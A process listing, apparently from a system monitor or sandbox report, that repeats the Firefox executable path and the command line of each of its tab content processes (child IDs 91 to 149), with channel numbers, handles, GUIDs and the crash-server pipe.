C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11144 -childID 91 -isForBrowser -prefsHandle 11840 -prefMapHandle 10012 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8fd3195-c54b-4b33-942c-d76b7c1c58fd} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6208 -childID 92 -isForBrowser -prefsHandle 11880 -prefMapHandle 11660 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1d20d760-97b5-4a47-b0dd-401719bcc0a0} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9628 -childID 93 -isForBrowser -prefsHandle 10032 -prefMapHandle 9852 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {00f9e65a-f338-4da6-b490-2f65bc6a94ac} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5012 -childID 94 -isForBrowser -prefsHandle 3132 -prefMapHandle 9168 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {99c3554c-c767-40c6-b1e2-00ae285bd109} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10428 -childID 95 -isForBrowser -prefsHandle 11156 -prefMapHandle 5532 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9a311fa6-5025-4c9f-b1e5-cfc7f595a805} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11020 -childID 96 -isForBrowser -prefsHandle 7996 -prefMapHandle 5640 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f73edb1-500d-443e-9f40-46c43fc13c9f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9176 -childID 97 -isForBrowser -prefsHandle 12012 -prefMapHandle 12024 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {71a92b50-18f8-4659-b1ee-fa5dcb763d89} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8344 -childID 98 -isForBrowser -prefsHandle 10744 -prefMapHandle 3584 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {00302182-2ac1-4d59-99f1-72d137ac3040} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12496 -childID 99 -isForBrowser -prefsHandle 11216 -prefMapHandle 11464 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b69e94cd-3f34-4b17-8c4d-935bfa0a1598} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12028 -childID 100 -isForBrowser -prefsHandle 7704 -prefMapHandle 11948 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f94c55b4-9eb3-4541-b187-ecaf4e2794c1} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10132 -childID 101 -isForBrowser -prefsHandle 11780 -prefMapHandle 5568 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da8a39f4-ca76-4287-81e2-e46bc6371172} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12316 -childID 102 -isForBrowser -prefsHandle 7704 -prefMapHandle 11948 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3eec15-63a1-4be4-8b44-bfb5fc341685} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10556 -childID 103 -isForBrowser -prefsHandle 10676 -prefMapHandle 9592 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3dd6af1c-a4e1-4214-be7b-f3c40efd48c6} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10424 -childID 104 -isForBrowser -prefsHandle 11924 -prefMapHandle 10848 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49e469c6-8c82-4031-b0d0-8e396364d2a7} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11984 -childID 105 -isForBrowser -prefsHandle 11608 -prefMapHandle 9692 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2974c0e-98f1-4504-96fc-8465b8bb0778} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10076 -childID 106 -isForBrowser -prefsHandle 4444 -prefMapHandle 5428 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4458dcf8-5a7b-4608-a98a-051bd09ed85e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6616 -childID 107 -isForBrowser -prefsHandle 11316 -prefMapHandle 8440 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e3861eba-34c2-41b9-a281-b4422689ae84} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11484 -childID 108 -isForBrowser -prefsHandle 9636 -prefMapHandle 11244 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb81f5d2-010c-4d77-b537-2d78e5b21a36} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12176 -childID 109 -isForBrowser -prefsHandle 5456 -prefMapHandle 9188 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {01873600-50c1-43c5-ae60-84c3e1cf9d08} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9272 -childID 110 -isForBrowser -prefsHandle 12248 -prefMapHandle 7204 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {93de679d-eaa7-4ebb-ac18-17777d4305ad} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9028 -childID 111 -isForBrowser -prefsHandle 10604 -prefMapHandle 12248 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d858ea35-6dae-41dd-9af2-d0ae1280d0da} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12188 -childID 112 -isForBrowser -prefsHandle 12492 -prefMapHandle 8104 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d93d6274-2fef-4b98-94a7-d3f28cf28b84} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11948 -childID 113 -isForBrowser -prefsHandle 11944 -prefMapHandle 10140 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9cd8643-34e0-427e-a931-be6f2bbb9a5a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12016 -childID 114 -isForBrowser -prefsHandle 9636 -prefMapHandle 11244 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d19dc18-68b8-44bc-ae5b-fb411a341680} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5456 -childID 115 -isForBrowser -prefsHandle 9188 -prefMapHandle 9028 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e9d9a1a-94d9-4be3-af23-ae42a0e7e895} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12480 -childID 116 -isForBrowser -prefsHandle 9728 -prefMapHandle 9304 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d70e9f2-488a-4fd5-81f9-bd529d64171b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6040 -childID 117 -isForBrowser -prefsHandle 3304 -prefMapHandle 11584 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fc5de277-5b3b-42b5-b7c1-68d264e41350} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10128 -childID 118 -isForBrowser -prefsHandle 2796 -prefMapHandle 11028 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9ee4e92-a1d3-48d1-9633-07ddaa81de63} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11648 -childID 119 -isForBrowser -prefsHandle 10540 -prefMapHandle 10692 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe16d86b-ded2-4bed-b241-5ed659896167} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11140 -childID 120 -isForBrowser -prefsHandle 5576 -prefMapHandle 11904 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a16ca44-aa65-4488-b18c-1c502ef0e810} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11584 -childID 121 -isForBrowser -prefsHandle 5032 -prefMapHandle 6060 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {90ac1ff1-f4e7-43ce-b7af-b93ed397e430} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3780 -childID 122 -isForBrowser -prefsHandle 7396 -prefMapHandle 5796 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {45983275-5d5d-44fd-a055-289fe87fb72c} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5464 -childID 123 -isForBrowser -prefsHandle 6268 -prefMapHandle 10124 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {79cbc270-0910-4ade-b81d-36e9e4ac4df9} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8164 -childID 124 -isForBrowser -prefsHandle 11596 -prefMapHandle 8332 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {76fcac81-9ecf-4191-8e23-6d0f44d9c3a8} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10272 -childID 125 -isForBrowser -prefsHandle 7464 -prefMapHandle 12284 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d94065a3-f972-40c7-8e86-61cfa5c5bcd8} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11692 -childID 126 -isForBrowser -prefsHandle 12176 -prefMapHandle 10072 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f6b60da3-5e6a-4040-a298-b1b4a03cb8fa} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11620 -childID 127 -isForBrowser -prefsHandle 10884 -prefMapHandle 8156 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5436d3de-ab96-467c-b9c3-f0c939e074ac} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12356 -childID 128 -isForBrowser -prefsHandle 10480 -prefMapHandle 5608 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {534e6282-2292-410d-bdf4-9fe69bd06574} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12000 -childID 129 -isForBrowser -prefsHandle 11864 -prefMapHandle 12312 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1accd8c7-fdfe-4e37-947e-7336812b3adc} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10740 -childID 130 -isForBrowser -prefsHandle 6172 -prefMapHandle 6340 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6afe2b1-50d7-4040-a914-1f87554db19a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12844 -childID 131 -isForBrowser -prefsHandle 12836 -prefMapHandle 12832 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a29b0565-93fd-464d-ab5d-e30333885d4a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12996 -childID 132 -isForBrowser -prefsHandle 13004 -prefMapHandle 13008 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c303a791-4311-4253-863a-1986e474fcb1} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=13364 -childID 133 -isForBrowser -prefsHandle 13296 -prefMapHandle 13372 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d83bb1f1-7ef2-4db8-a3b3-ad314f9abf0f} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=13620 -childID 134 -isForBrowser -prefsHandle 13536 -prefMapHandle 13540 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {be66651f-c06c-4d73-9956-121c63ad5899} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=13392 -childID 135 -isForBrowser -prefsHandle 13588 -prefMapHandle 13580 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4969f672-f202-4850-97a3-200e8a456fd7} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10796 -childID 136 -isForBrowser -prefsHandle 13196 -prefMapHandle 13080 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d3054392-8fc6-4e47-8049-372575de7925} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=12836 -childID 137 -isForBrowser -prefsHandle 12888 -prefMapHandle 13024 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49793994-2b37-4fb5-8dca-fc3f396b7ba8} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9704 -childID 138 -isForBrowser -prefsHandle 13276 -prefMapHandle 13000 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ae9874ff-6dc9-4308-ab88-114727046c44} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=13392 -childID 139 -isForBrowser -prefsHandle 8272 -prefMapHandle 6344 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c37d811-920e-49c7-96de-ca5985caaa2e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7568 -childID 140 -isForBrowser -prefsHandle 13924 -prefMapHandle 13916 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f999afe4-b4d7-488b-92d6-1058ab4fe5bf} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=14188 -childID 141 -isForBrowser -prefsHandle 14140 -prefMapHandle 9104 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d46d3fa1-71a2-4c5b-85f3-e37e38277030} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=14228 -childID 142 -isForBrowser -prefsHandle 12408 -prefMapHandle 8488 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9d2e1cb0-1dd5-4380-b6ce-619f757807ed} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=11408 -childID 143 -isForBrowser -prefsHandle 13340 -prefMapHandle 13332 -prefsLen 28488 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {65f3d61f-edeb-4a0e-a285-47d76b90cf8b} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7412 -childID 144 -isForBrowser -prefsHandle 4460 -prefMapHandle 10160 -prefsLen 28587 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {231d0c10-c357-4a2e-b4a8-b5dd01e1b492} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10072 -childID 145 -isForBrowser -prefsHandle 14084 -prefMapHandle 10516 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d09f24db-4a85-4386-a73d-75790daded6a} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4460 -childID 146 -isForBrowser -prefsHandle 6368 -prefMapHandle 8080 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {52523d46-84eb-4102-aee9-0fede0b0d2f4} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=14156 -childID 147 -isForBrowser -prefsHandle 7412 -prefMapHandle 12524 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f0277c71-d86d-4198-b1ff-f2c57e1110df} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10620 -childID 148 -isForBrowser -prefsHandle 10160 -prefMapHandle 2852 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6cfcf833-acc8-4f94-94b8-9df382bd0442} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=13240 -childID 149 -isForBrowser -prefsHandle 9648 -prefMapHandle 7064 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55b64d38-f3cb-4a8d-8a83-de19c63ea910} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

